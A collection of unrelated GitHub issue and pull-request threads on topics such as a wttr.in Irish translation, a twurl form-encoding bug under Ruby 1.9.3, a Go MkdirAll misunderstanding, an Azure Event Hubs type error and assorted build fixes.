Add advice of using assertEquals() in the contributing guide

I had plans to add it within #5591 but forgot.

Have no ideas why changing website docs broke formatting in tests.. but ok :)


Add tauri-cli for various architectures to standard release

Describe the solution you'd like
It would be useful for the standard release cycle to include signed binaries of tauri-cli for various architectures.
Distributing binaries prevents redundant compilation of the cli tool across CI pipelines and projects.
Describe alternatives you've considered
The alternative is each project building the cli during CI, which is not a great use of computing resources.

Can you list the architectures you need?

Can you list the architectures you need?

aarch64-unknown-linux-musl is my current target, but I can imagine needing others in the future for android and IOS.

Yeah we'll take care of mobile for v2 probably.

this should be fixed now with<EMAIL_ADDRESS>right?

Yeah, here's the current list:
x86_64-apple-darwin
aarch64-apple-darwin
x86_64-pc-windows-msvc
x86_64-unknown-linux-gnu
x86_64-unknown-linux-musl
aarch64-unknown-linux-gnu
armv7-unknown-linux-gnueabihf
aarch64-unknown-linux-musl


Translation: Irish (Gaeilge)

It would be great to have wttr translated into Irish.
I'm happy to work on the translation, over the next week or two!
Todo

[X] lib/translations.py
[X] share/translations/ga.txt
[ ] help: share/translations/help-ga.txt
[ ] v2 translation
[X] we-lang translation

@RobertDev Robert thank you very much for this!
We are missing the Irish translation very badly, and it would be really great if we could add it.
First of all, could you please translate these 5 words/phrases:

Weather report for:
Morning
Day
Evening
Night

After that you can fork this repository and I will say to you, what files and where should be added, extended etc.

@chubin Happy to help out!
Sure:

Réamhaisnéis na haimsire do: <PlaceName>

Maidin

Lá that literally means the noun for a day. Depending on the meaning you're trying to convey you might prefer Noon: Nóin, Or Daytime: I rith an lae

Tráthnóna

Oíche

@RobertDev Robert, thank you very much for your translation. I've added initial support of Irish:
$ curl ga.wttr.in

That's how it looks like:

Now we need the following things:

Translations for weather conditions  You can take say cy.txt as a base for your file.

cp share/translations/cy.txt share/translation/ga.txt
vim share/translation/ga.txt

Translations of various messages in lib/translations.py

That is the main part. After it is done, to finalize the translation, we need the last step, translation of help:

Translation of the help.

cp share/translations/help.txt share/translations/ga-help.txt
vim share/translations/ga-help.txt

After each step you can send me a pull request to switch the newly translated part live.

@RobertDev Robert, sorry for disturbing you, I just wanted to ask, may I somehow help with the trnanslation? It would be really great to have Irish support on wttr.in

@RobertDev Robert, sorry for disturbing you, I just wanted to ask, may I somehow help with the trnanslation? It would be really great to have Irish support on wttr.in

Hopefully the updated translations in the commit look like they are in the correct places?

@ivernus yes, it looks very good. A couple of files are missing (e.g. help.txt translation),
but it is perfect finally have the Irish translation even without the help file.
Could you please make a pull-request and I will merge and deploy it?

@ivernus yes, it looks very good. A couple of files are missing (e.g. help.txt translation),
but it is perfect finally have the Irish translation even without the help file.
Could you please make a pull-request and I will merge and deploy it?

No worries, there is PR #456 . I will try to do the help file also and raise a new PR.

@ivernus Conor, the translation is activated:
https://ga.wttr.in
I added your name to the translators list:
https://wttr.in/:translation
Please say if the name should be removed/hidden.
Could you please also translate the v2 view, it is just a bunch of words:
https://github.com/chubin/wttr.in/blob/master/lib/translations_v2.py#L29

(I've added todo to the header)


HTTP Post data not encoded properly under 1.9.3

I believe I've found a bug in twurl running under ruby 1.9.3 regarding content type encoding.  Specifically, I've found that reqeusts with an asterisk ('*') in the HTTP body fail under 1.9.3 but succeed under 1.8.7.  I'm using the following command to test:
$ ruby --version && ./twurl --version && ./twurl /1.1/statuses/update\.json -d "status=An Introduction to the A* algorithm http://www.redblobgames.com/pathfinding/a-star/introduction.html"  -t

Under 1.8.7, I get:
ruby 1.8.7 (2011-02-18 patchlevel 334) [i686-darwin13.1.0], MBARI 0x6770, Ruby Enterprise Edition 2011.03
0.9.2
opening connection to api.twitter.com...
opened
<- "POST /1.1/statuses/update.json HTTP/1.1\r\nAccept: */*\r\nConnection: close\r\nUser-Agent: OAuth gem v0.4.7\r\nContent-Type: application/x-www-form-urlencoded\r\nAuthorization: OAuth oauth_consumer_key=\"###\", oauth_nonce=\"###
\", oauth_signature=\"###\", oauth_signature_method=\"HMAC-SHA1\", oauth_timestamp=\"###\", oauth_token=\"###\", oauth_version=\"1.0\"\r\nContent-Length: 147\r\nHost: api.twi
tter.com\r\n\r\n"
<- "status=An%20Introduction%20to%20the%20A%2a%20algorithm%20http%3a%2f%2fwww.redblobgames.com%2fpathfinding%2fa-star%2fintroduction.html"
-> "HTTP/1.1 200 OK\r\n"
... [ rest of http response ]

Under 1.9.3, I get:
ruby 1.9.3p448 (2013-06-27 revision 41675) [x86_64-darwin13.1.0]
0.9.2
opening connection to api.twitter.com...
opened
<- "POST /1.1/statuses/update.json HTTP/1.1\r\nAccept: */*\r\nUser-Agent: OAuth gem v0.4.7\r\nContent-Type: application/x-www-form-urlencoded\r\nAuthorization: OAuth oauth_consumer_key=\"###\", oauth_nonce=\"###\", oauth_signature=\"###\", oauth_signature_method=\"HMAC-SHA1\", oauth_timestamp=\"###\", oauth_token=\"###\", oauth_version=\"1.0\"\r\nConnection: close\r\nHost: api.twitter.com\r\nContent-Length: 133\r\n\r\n"
<- "status=An+Introduction+to+the+A*+algorithm+http%3A%2F%2Fwww.redblobgames.com%2Fpathfinding%2Fa-star%2Fintroduction.html"
-> "HTTP/1.1 401 Unauthorized\r\n"
... [ rest of http response ]

Note that in 1.9.3, the status parameter in the HTTP body is not actually form-urlencoded even though that's the content-type, whereas, in 1.8.7, it is.

Hit this bug today.  Any plan to resolve it?  For now, I'm stripping the asterisk character out of my automated tweets...

Ruby has ended support for 1.9.3 so I think the relevant question now is whether this problem exists under Ruby 2.0 and Ruby 2.1.

Closing for age / inability to repro - please open a new issue if this still occurs with 0.9.3 (and Ruby 2+)


python310Packages.ormar: switch to pythonRelaxDepsHook

Description of changes
Fix build (https://hydra.nixos.org/build/205609108)

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[ ] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 211917 run on x86_64-linux 1

1 package failed to build:

python311Packages.ormar

1 package built:

python310Packages.ormar

Depends on #211703.


Implement commonmark-hs compatible definition lists

Fixes #67

Awesome! But I think it would be better to merge it in the new branch_0.12 branch I have just created, because the last changes probably deserve a new 0.11 minor release.
Also, I wonder if the number of calls to self.finish_list in firstpass.rs could be reduced by dividing it into a function for normal lists and another one for description lists or something else. It seems the only messier part of the code respect to the previous version.
Thanks!

A lot of time since the last update and I don't get a cleaner manner of doing it, so let's merge it. Thanks!


[Bug]: Profiler console output contains invalid characters

Description
$subject
Steps to Reproduce
Create a bal package and run bal profile.

Note the ? character in the console output.
Affected Version(s)
2201.8.2
OS, DB, other environment details and versions
Windows 10
Related area
-> Runtime
Related issue(s) (optional)
No response
Suggested label(s) (optional)
No response
Suggested assignee(s) (optional)
No response

It's due to the code-page used in windows CMD is 437 by default. This code-page prevents to show the Unicode characters properly. If we change the code-page to 65001, it will show the Unicode characters properly.
We can change the code-page of the windows CMD by using the command chcp 65001.

In order to keep a consistent terminal/cmd output pattern across platforms, we can use a character which is supported in the code-page 437 for bulleting or we can remove the bullets.
As per an offline discussion, we decided to not to use bullets instead use right indentation.
The output log is going to look as follows,
================================================================================
Ballerina Profiler: Profiling...
================================================================================
Note: This is an experimental feature, which supports only a limited set of functionality.
[1/6] Initializing...
[2/6] Copying executable...
[3/6] Performing analysis...
[4/6] Instrumenting functions...
      Instrumented module count: 44
      Instrumented function count: 3981
[5/6] Running executable...


clustermesh: Add EndpointSlice support for API server

Please see the commit message for details. I think we need to backport this to 1.10 and 1.11 because it meets the backport criteria "Major bugfixes relevant to the correct operation of Cilium" because, without this change, global service only contains local endpoints for secondary IP family when users configure dual-stack service and their k8s support EndpointSlice which is an incorrect behavior I think.
Add EndpointSlice support for clustermesh-apiserver

/test


Add supported source databases to DMS docs

Add supported source databases to DMS docs

This change is

@otan I have a separate PR for v22.1. I was lazy and used the GitHub GUI. #14526


fix api fails with 'strconv.ParseUint: parsing "tcp": invalid syntax'

fix https://github.com/containers/libpod/issues/6511
https://github.com/containers/libpod/blob/master/pkg/api/handlers/compat/containers.go#L466-L471
https://github.com/containers/libpod/blob/1fcb6788a5d7471a7ca6215a40e36e21812a0f6e/pkg/api/handlers/compat/containers.go#L466-L471
nat.NewPort
https://github.com/docker/go-connections/blob/480d0b58242613178844e8ffabde7a5d55658f0d/nat/nat.go#L34
the first arg should be protocol，such as splitp is []string{"80","tcp"},
nat.NewPort(splitp[0], splitp[1])  ==> nat.NewPort(splitp[1], splitp[0])

@mheon PTAL

it always return two items

@zhangguanzhang Should still check in-case someone eventually changes the call.

https://github.com/containers/libpod/blob/a85e97952994a2803a17ee2a384b260115f18b43/pkg/specgen/generate/ports.go#L284-L302
https://github.com/containers/libpod/blob/a85e97952994a2803a17ee2a384b260115f18b43/pkg/specgen/generate/ports.go#L174-L188
https://github.com/containers/libpod/blob/a85e97952994a2803a17ee2a384b260115f18b43/libpod/container_inspect.go#L616-L619
All of this ensures that the protocol value is not null here

Given this, it looks like it is safe, though we generally prefer to lean on the safe side to make absolutely sure we don't segfault.

and fix this https://github.com/containers/libpod/issues/6475

@zhangguanzhang Please add a signature to your commit.  Then CI will test your code.  Thank you for your contribution.

Signed-off-by: zhangguanzhang<EMAIL_ADDRESS>

@jwhonce  PTAL

/assign @jwhonce

/ok-to-test
/approve
LGTM
@rhatdan @vrothberg @jwhonce @TomSweeneyRedHat PTAL

LGTM

/lgtm


error: type mismatch;  found   : java.util.concurrent.ExecutorService  required: java.util.concurrent.ScheduledExecutorService

notebook:15: error: type mismatch;
found   : java.util.concurrent.ExecutorService
required: java.util.concurrent.ScheduledExecutorService
val pool = Executors.newFixedThreadPool(1)
val eventHubClient = EventHubClient.create(connStr.toString(), pool)

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 4137b0cc-898b-b25c-6321-fe98f22f803d
Version Independent ID: 4ec1e187-7e69-e5da-b6dd-cb03b6db9366
Content: Tutorial: Stream data into Azure Databricks using Event Hubs
Content Source: articles/azure-databricks/databricks-stream-from-eventhubs.md
Service: azure-databricks
GitHub Login: @lenadroid
Microsoft Alias: alehall

I want to send message from Twitter to Azure event hub. However, I am getting this above error, it say instead of  java.util.concurrent.ExecutorService use java.util.concurrent.ScheduledExecutorService. I am not getting how to create the EventHubClient.create now. Please help.

@amolmore3171 Thanks for the feedback. We are investigating into the issue and will update you soon.

Here is my code,
import java.util._
import scala.collection.JavaConverters._
import com.microsoft.azure.eventhubs._
import java.util.concurrent.{Executors, ExecutorService}
//val executorService: ExecutorService = Executors.newFixedThreadPool(10);
val pool: ExecutorService = Executors.newFixedThreadPool(1)
//val pool = Executors.newFixedThreadPool(1)
val eventHubClient = EventHubClient.create(connStr.toString(), pool)

@amolmore3171 Thanks for the feedback. We are investigating into the issue and will update you soon.

Thanks, reply reply urgently.I need to finish the implementation.

@amolmore3171 Since the issue doesnt seem to be a doc issue, I would recommend you to create a thread for the issue on the forums (MSDN  and Stack Overflow).
Once you post your issue on forums, it will have visibility across the community which is a better suited audience for such types of issues.
Please create a Forum thread and post it's link here and tag me. Please also be as detailed about the issue(with your code) as possible. I will now proceed to close this issue. Feel free to comment if you have any other queries.

I encountered same issue,
notebook:17: error: type mismatch;
found   : java.util.concurrent.ExecutorService
required: java.util.concurrent.ScheduledExecutorService
val eventHubClient = EventHubClient.create(connStr.toString(), pool)
^

@amolmore3171 @davidma3768 Do you have an option to control which version of JRE the notebook is using? I was initially thinking this was a JRE v8.x but needs v10.x issue but, the missing class is part of SE 8: Interface ScheduledExecutorService.
So, this should be looked at as a product issue. I am seeing the activity in the MSDN forums related to this and there appears to be no solution.

Thanks Mike for your reply. However, issue has been resolved now. By creating, a library in your Databricks workspace using the Maven coordinates com.microsoft.azure:azure-eventhubs-spark_2.11:2.3.2 or higher version.
Here is link,
https://stackoverflow.com/questions/54693437/stream-data-into-azure-databricks-using-event-hubs

Adding MSDN Thread: Stream data into Azure Databricks using Event Hubs


Use inline SVGs for Panels and UAC

What is the context of this PR?
Updated Panel component to use inline SVGs. Also added the "bare" panel type to allow icons to easily be used next to a plain paragraph of text and used it in the UAC example for the security paragraph with the lock icon.
How to review
View panel and UAC examples and make sure they look as they should

 Refactor Panels and UAC to use inline SVGs


Text in a box set to "top", possible to have it inside the box ? (and not just on top of it) ?

[x] I agree to follow the Code of Conduct that this project adheres to.
[x] I have searched the issue tracker for a feature request that matches the one I want to file, without success.

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

Hello there, I'm discovering draw.io, looks great overall ? (coming from ppt ...)
Starting to draw a diagram, was a bit surprised that when you add some text in a box, and set the text position to "top", the text appears just above the box, no way to have the text at the top but inside the box ?
For instance in below, I would like "CompanyRef" to appear at the top but inside the box, right below the top line of the box :

Hi,
choose Position Center and click Top icon as shown in the image attached. Does it help?
Regards,

Ok thanks ! (in fact just saw that before in a video)
But what is strange is that :

If the postion is "top" in the drop down list,  and the icon "just below" is selected  : it puts the text way above the shape
if the position is "center" in the drop down list, and the icon "just below" is selected : it works (like in your msg)
if the position is "center" in the drop down list, and the icon "just above" is selected : it put the text just above the bottom line
If the position is "top" in the drop down list, and the icon "just above" is selected : it puts the text just above

1 in particular is really strange,  is this the intended behaviour ? if yes for what purpose ?
And if you start from the drop down lists instead of the icons, not very intuitive I would say, but thanks a lot for the info ! :)


. bashlog.sh fails with /bin/sh when invoked from cli

When invoked from cli on sh bashlog will fail with the following errors:
$ . ./log.sh
basename: missing operand
Try 'basename --help' for more information.
basename: missing operand
Try 'basename --help' for more information.
basename: missing operand
Try 'basename --help' for more information.

I understand it is bashlog, but so far this has been the only issue I encountered when using it with sh instead of bash.

It seems that with sh the $0 is set to "-sh" (note the leading dash).
This confuses basename.


Efficient Sub-Pixel CNN for ADNI dataset

Added a PyTorch implementation of the the Efficient Sub-Pixel CNN, from the paper “Real-time single image and video super-resolution using an efficient sub-pixel convolutional neural network” [1], and applied it to the ADNI dataset [2].
Added four python files, a README.md which explains the model and its results, and an images folder which contains supporting images for README.md.
The added python files are as follows:

modules.py - contains the model definition
dataset.py - contains code to load the training and testing dataset
train.py - contains code to train the model defined in modules.py
predict.py - contains example usage code of the trained model

The produced images, whilst not achieving perfect clarity, are much clearer and are a significant improvement over the downsampled images.
Author: Mikhail Matveev s4696671
Dependencies

Python 3.11
PyTorch 2.1.0
Matplotlib
ADNI dataset [2]

References
[1] W. Shi, J. Caballero, F. Huszar, J. Totz, A. P. Aitken, R. Bishop, D. Rueckert, and Z. Wang, “Real-time
single image and video super-resolution using an efficient sub-pixel convolutional neural network,” in
Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition (CVPR), June 2016.
[2] The ADNI dataset for Alzheimer’s disease https://adni.loni.usc.edu/

This is an initial inspection - no action is required yet
Difficulty: Normal
General Comments: Overall this is a nice implementation. Training procedure seems ok with correct tracking of training loss each batch. Though no use of validation set.
[Recognition Problem]
"modules.py":

Correct implementation of PixelCNN, uses Tanh as-per the paper implementation. No changes to network architecturally.
Uses a lambda function for pixel_shuffle (could have used the nn.module version rather than from functional but this shouldn't impact anything other than a bit of computation time).

"dataset.py":

Nice usage of ImageLoader to deal with AD and NC folders.
Adds some flipping for data augmentation.
Rather large batch size (128).
Uses a lambda function to call resize, could instead store the function to a variable and call that way, though again this shouldn't impact anything other than a bit of computation time.

"train.py":

Doesn't split into training/validation.
Only trains for 10 epochs, so won't print any metrics during training.
It does track the batch-to-batch loss and plot afterwards.
Uses OneCycleLR - seems to be correctly implemented.
Does report MSE and PSNR on the test dataset after finished training (just stores the final model).
Displays some sample images.

"predict.py":

Simply loads a batch from the test dataset and uses them to generate a figure.
Doesn't put the model in model.eval and still runs with grad. Shouldn't change results as no batch normalization or dropout is involved.
Correctly loads model weights.
Does not provide any metrics on the test dataset (but this is in "train.py").

"README.MD":

Provides a brief overview of the network architecture.
Model predictions are still a fair bit blurry (compared to other submissions, though some detail is added compared to low-rez).
Reports dependencies.

[Commit Log]
Commit log looks ok.

Marking
Good Practice (Design/Commenting, TF/Torch Usage)
Adequate design and implementation
Good spacing and comments
Header blocks missing -1
Recognition Problem
Solves problem
Driver Script present
File structure present
Shows Usage & Demo & Visualisation & Data usage
Module present
Commenting
No Data leakage, but didnt use training validation splits -1
Difficulty: Normal -5
Commit Log
Meaningful commit messages
Progressive commits used
Documentation
ReadMe good
Model/technical explanation
Good Description and Comments
Markdown used and PDF submitted
Pull Request
Successful Pull Request (Working Algorithm Delivered on Time in Correct Branch)
No Feedback required
Request Description good

Please remove .gitignore file to allow merge. Doesnt affect grade, but only needed to complete merge.

Please remove .gitignore file to allow merge. Doesnt affect grade, but only needed to complete merge.

Done!

Feedback attempt and no feedback marks lost.


Update CONTRIBUTION.md test run section

This is not synchronized with Makefile content.

This change is

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/2afadb75105afada0cab88d0ac89f91aab28027a/

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/349ba2dbea48e44b18666c6d4b7d12a3679db943/

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/3cc7d0f1e8f56c02a6ba07ef07b601f5af2bd809/

LGTM. Thanks, @hueypark.


Handling of events spanning more than one day

I called EventController._addAll with an events list that contained one event with the start and end on different days:
{date: 2023-04-19 19:00:00.972, startTime: 2023-04-19 19:00:00.972, endTime: 2023-04-20 07:00:00.643, event: Instance of 'Calendar', title: Busy Day 2, description: , endDate: 2023-04-19 19:00:00.972}
Start is 4/19 at 19:00
End is 4/20 at 7:00
MergeEventArranger threw the error:
I/flutter (11963): Failed to add event because of one of the given reasons:
I/flutter (11963): 1. Start time or end time might be null
I/flutter (11963): 2. endTime occurs before or at the same time as startTime.
This is happening because in merge_event_arranger, you check getTotalMinutes on lines 27 & 28. That only counts the minutes since midnight for each DateTime.
Is the calendar intended to support an event that spans two different days?

Hello @kaidrumm , We are planning this to add this in future.
I'm closing this issue as this is duplicate of #23 .


Add location feature.

THe blog should contain a field called location which points to the actual location of the place being written about and also it should be present in a map longside below user description.

@thebishaldeb I can get this done. Assign me

@thebishaldeb need some help here. I'm not much accustomed with Ejs.
Is views/blogs/new.ejs the file where the location is to be displayed ??
Also, there are two ways to get location -

Geolocation feature in HTML5 (https://www.w3schools.com/html/html5_geolocation.asp)
This method gives us latitude and longitude && maybe a map too but doesn't give the name of the city / country.
If we require city or country name we need to use a 3rd party API with which I will get the name of city and can be displayed over there. But in this method we dont get a map. What should we do ? My best advice would be to choose the second one.

@thebishaldeb I have implemented the feature , we can get the name of the city , country that we want. But cannot implement map , because for that we require Google Map API key. I don't have one. Since its your personal project. Its better if we keep it to display and store only the location name and not use a map. If you really need a map, you can get a personal API key for yourself and add it later in the field that I'll leave in code comments for you.

Let me know if this is okay with you. I can submit a PR for this then.

Okay cool!


Mac Simulator: TextureResource Canvas rendering problem on MacBook Pro 2017 & 2018

[ ] I tried searching Solar2D forums for the solution.

Describe the bug
TextureResource Canvas rendering problem on MacBook Pro 2017 & 2018.
To Reproduce
Steps to reproduce the behavior:
local tex = graphics.newTexture( { type="canvas", width=128, height=128 } )

local rect = display.newImageRect(
    tex.filename,
    tex.baseDir,
    display.contentWidth,
    display.contentHeight
)
rect.x = display.contentCenterX
rect.y = display.contentCenterY

local circ = display.newCircle( 0, 0, 64 )
circ:setFillColor( { type="gradient", color1={0,0.2,1}, color2={0.8,0.8,0.8}, direction="down" } )
tex:draw( circ )

tex:invalidate()

Run the code with Corona Simulator on MacBook Pro 2017 or 2018, and the result will be:

but the correct result should be:

Target platform and where build was made:

Device: MacBook Pro 2017 & 2018.
OS: macOS Big Sur

Additional context
This problem only occurs on the simulator. If I build & run it with Xcode iPhone simulator, the problem will not occur.
more info: https://forums.solar2d.com/t/textureresourcecanvas-rendering-problem/353274/4

Is it possible to use metal instead of OpenGL in the simulator to avoid this problem?

Using metal on macOS is ongoing project, which has high priority. It should fix this.

I have a 2018 MacOS and when using three TextureResource Canvases am getting a hard crash that shuts my mac down. Drawing to one is fine, but drawing to a second in the same frame causes flickering and glitches, and if left for too long the computer hard resets.
I was noticing Solar2D shutdown with the message starting GPU Hang in some cases before this.


os: MkdirAll exits without creating all folders

Please answer these questions before submitting your issue. Thanks!
What version of Go are you using (go version)?
1.8.1
What operating system and processor architecture are you using (go env)?
GOARCH="amd64"
GOBIN=""
GOEXE=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOOS="linux"
GOPATH=""
GORACE=""
GOROOT="/usr/local/go"
GOTOOLDIR="/usr/local/go/pkg/tool/linux_amd64"
GCCGO="gccgo"
CC="gcc"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build846921896=/tmp/go-build -gno-record-gcc-switches"
CXX="g++"
CGO_ENABLED="1"
PKG_CONFIG="pkg-config"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
What did you do?
If possible, provide a recipe for reproducing the error.
A complete runnable program is good.
A link on play.golang.org is best.
path := "something/with/nested/folders"
if err := os.MkdirAll(path, 0755); err != nil {
	log.Fatalln(err)
}

if err := os.Chdir(path); err != nil {
	log.Fatalln(err)
}

What did you expect to see?
Directory created and changed working directory.
What did you see instead?
abort: error getting current working directory: No such file or directory
Last folder in the path was never created, even sleeping does not create the folder. Only exiting the program does the folder appear in the filesystem.

Please show us a complete, standalone, preferably small, program that demonstrates the problem.  Thanks.

Ok this is embarrassing ... for some reason it started working. I didn't even closed my editor/terminals and it just decided to work.

This is seriously weird. If I just have the mkdirall and the chdir commands it works. But if it's with the rest of the file it doesn't?
package main

import (
	"log"
	"os"
	"os/exec"
	"strings"
	"runtime"
)

const SDL_VR = "2.0.5"

func run(file string, args ...string) {
	cmd := exec.Command(file, args...)
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr
	cmd.Env = os.Environ()
	//cmd.Env = append(cmd.Env, "CC=musl-gcc")

	err := cmd.Run()

	if err != nil {
		os.Exit(1)
	}
}

func main() {
	path := os.Args[1] + "Build/SDL"

	if err := os.MkdirAll(path, 0755); err != nil {
		log.Fatalln(err)
	}

	if err := os.Chdir(path); err != nil {
		log.Fatalln(err)
	}

	if _, err := os.Stat(path); err == nil {
		out, err := exec.Command("hg", "id").Output()

		if err == nil {
			tag := strings.Fields(string(out))[1]

			if tag == "release-"+SDL_VR+"/tip" {
				if err := os.Chdir(path); err != nil {
					log.Fatalln(err)
				}

				run("sh", "-c", path+"/configure --disable-shared --prefix="+path)
				run("sh", "-c", "make -j " + string(runtime.NumCPU()))
				run("sh", "-c", "make install")
				os.Exit(0)
			}
		}

		os.RemoveAll(path)
	}

	run("hg", "clone", "http://hg.libsdl.org/SDL#release-"+SDL_VR)
	run("hg", "tag", "-l", "release-"+SDL_VR)
	run("sh", "-c", path+"/configure --disable-shared --prefix="+path)
	run("sh", "-c", "make -j " + string(runtime.NumCPU()))
	run("sh", "-c", "make install")
}

If I comment out the os.RemoveAll(path) it works??

Please make sure what happen with your code. please check all of err returned.

There is no error from os.MkdirAll and os.Chdir only says "abort: error getting current working directory: No such file or directory"

This seems not be a bug of Go. Please check output of commands you run.

OK my bad, thought the output was coming from os.Chdir lol
Was actually one of the commands I'm running


XEB: Brought small cosmetic adjustments to script

The saving of amplitude matrices has been improved such that we can now really recover actual matrices.
Furthermore, an additional macro to align qubit pair is defined to ease readability in code.
On the post processing side, warning will be raised instead of errors when a line of plot is not available due to lack of data (e.g. if log XEB did yield only nan but not linear XEB).

Thanks.


METRON-595: ES Writer uses more than one IP

Simple fix. Before, the client was reinitialzed for each ip, so only one was actually used. By initialing the client outside the loop, it uses all of the ip's.

Good catch. Thanks!  +1 by inspection, pending CI build

Looks like the build failed for a completely unrelated test. The latest commit in master fails the build on the same test.
Should I wait until that is fixed and then merge master into my branch?

@nickwallen somehow this fix failed a profiler test. can you take a look?

Definitely seems to be some kind of sporadic failure with those integration tests.  For now, close and reopen the PR and it would likely fix it.
I created a JIRA to track the sporadic failures.   I have yet to be able to replicate this locally. Sorry, I know these sporadic failures are annoying.  https://issues.apache.org/jira/browse/METRON-597

I think you should >fetch apache && merge apache/master && push origin METRON-FOO


Error description could be more precise when resetting password several times on a row

Hi,
When user resets the password several times on a row, following error is given:  "Sorry, something went wrong".
The error description should be more instructive for the user.
I´m calling functions resetPassword() and confirmResetPassword() from custom UI´s.
Thanks!

Not sure if this is your job but.. Also tested the update functionality too.
Updating the password with several times on a row does not give any error for the user. In my opinion user should be informed with appropriate error text.
Using Amplify.Auth.update(oldPassword: xxx, to: xxx) to update password.

Hi @merbula, thanks for opening this issue.
Regarding your first question, could you please enable verbose logging (by adding Amplify.Logging.logLevel = .verbose before Amplify.configure()) and either share the logs with us or check what is the underlying error? The most likely reason is that there is no default string defined for said error.
Regarding your second question, the Authenticator doesn't really support the update password flow, so I was wondering how you are testing it.
Having said that, the error message you shared seems to be pretty informative.

My apologies, forgot to add log in my first question. Here is something:
Failed execution for Auth.resetPasswordAPI with error:
AuthError: Attempt limit exceeded, please try after some time.
Recovery suggestion: Make sure that the request made to the particular AWS resources are under the resource quota limits
Caused by:
limitExceeded
Unable to initialize a password reset
The operation couldn’t be completed. (Amplify.AuthError error 1.)
Like you said, there is not default error text specified so it is giving the unknown text.

The Authenticator only ships with messages for the most common errors, as you can see here.
However since this is a known Cognito error, the Authenticator allows you to define a custom error message by having a key with the format authenticator.cognitoError.{CognitoError} in to your app's Localizable.strings file.
For this particular example, it would be:
"authenticator.cognitoError.limitExceeded" = "You've reached the limit of requests. Please wait a couple of minutes and try again";

Yes, i have seen those common errors. But is there a list available for the all possible Cognito errors? This .limitExceeded came from the bushes.


[NEXT] 'langDir' path resolve does not work on windows. 'absolute paths must be valid file://'

Version
@nuxtjs/i18n: v8.0.0-beta.1
nuxt: rc.12
Nuxt configuration
Please change to [x] if relevant for this issue:

[ ] Applies to a site deployed to a static server (site generated with nuxt generate)
[x] Applies to a site deployed to a server with a Node backend

@nuxtjs/i18n configuration
  i18n: {
    locales: [
      {
        code: 'en',
        file: 'en-US.json',
      },
      { code: 'tr', file: 'tr-TR.json' },
    ],
    defaultLocale: 'tr',
    lazy: true,
    langDir: 'locales/',
    strategy: 'prefix_except_default',
    detectBrowserLanguage: {
      useCookie: true,
      cookieKey: 'i18n_redirected',
      redirectOn: 'root', // recommended
    },
    vueI18n: {
      legacy: false,
      locale: 'tr',
      fallbackLocale: 'tr',
      availableLocales: ['en', 'tr'],
    },
  },

Reproduction Link
https://github.com/productdevbook/oku-nuxt3-template
Steps to reproduce
On windows, run
yarn install
yarn dev
You should see the error in the terminal.
What is Expected?
There should be no errors and I should see translations.
What is actually happening?
[nuxt] [request error] [unhandled] [500] Only file and data URLs are supported by the default ESM loader. On Windows, absolute paths must be valid file:// URLs. Received protocol 'c:'
at new NodeError (node:internal/errors:371:5)
at Loader.defaultResolve [as _resolve] (node:internal/modules/esm/resolve:1016:11)
at Loader.resolve (node:internal/modules/esm/loader:89:40)
at Loader.getModuleJob (node:internal/modules/esm/loader:242:28)
at ModuleWrap. (node:internal/modules/esm/module_job:76:40)
at link (node:internal/modules/esm/module_job:75:36)

Thank you for your reporting!
Same #1518, so this issue is duplicated
Thanks!


GPS yaw improvements

Summary of the changes:

always reset yaw estimate when starting GPS yaw fusion

This is done because otherwise, if close to the limit (15 degrees), a large gyro bias can be learned and it takes a loooong time for the estimate to converge to the yaw GPS value

disable GPS yaw fusion if there is no yaw data in the GPS message, if the fusion is rejected or if disabled by the user. The estimator will automatically fall back to another source of yaw aiding if possible (e.g.: mag fusion if enabled).
add unit tests

non-functional change:

do not check if the GPS yaw data is nan in the fusion function but only in control.cpp

If a GPS is declared as faulty, should we try to use it again at some point or stop using it for the rest of the flight?

We might want to try again after some time, yes. I'll make another PR for this.

@kamilritz I addressed your comments and rebased on master, could you please check again?


Can't bind to 'nzTargetKeys' since it isn't a known property of 'nz-transfer'

Reproduction link
https://stackblitz.com/edit/angular-o7shy6?file=src/app/app.component.ts
Steps to reproduce
What is expected?
What is actually happening?

Environment
Info

ng-zorro-antd
8.4.1

Browser
Chrome  78.0.3904.70

Thank you for report, there is no nzTargetKeys, the document did not update.


Switch to getting libpng from its git, and update to 1.2.52

(Which tweaks one of its headers to be C++-11 compilable)

LGTM!


feat: Improve YouTube filters

I figured out the si filter was missing from the rules. I also added the youtu.be url shortener

@GeekCornerGH The maintainer of this repo is no longer able to maintain so any PRs won't be addressed.

@GeekCornerGH The maintainer of this repo is no longer able to maintain so any PRs won't be addressed.

Is there a notice somewhere? I wasn't aware of that

There is no notice, the auth is no longer around. I'm just a friend of theirs, but I don't have access to the repo.


Support macOS with clang.

This fixes the build errors that look like:
source file is not valid UTF-8

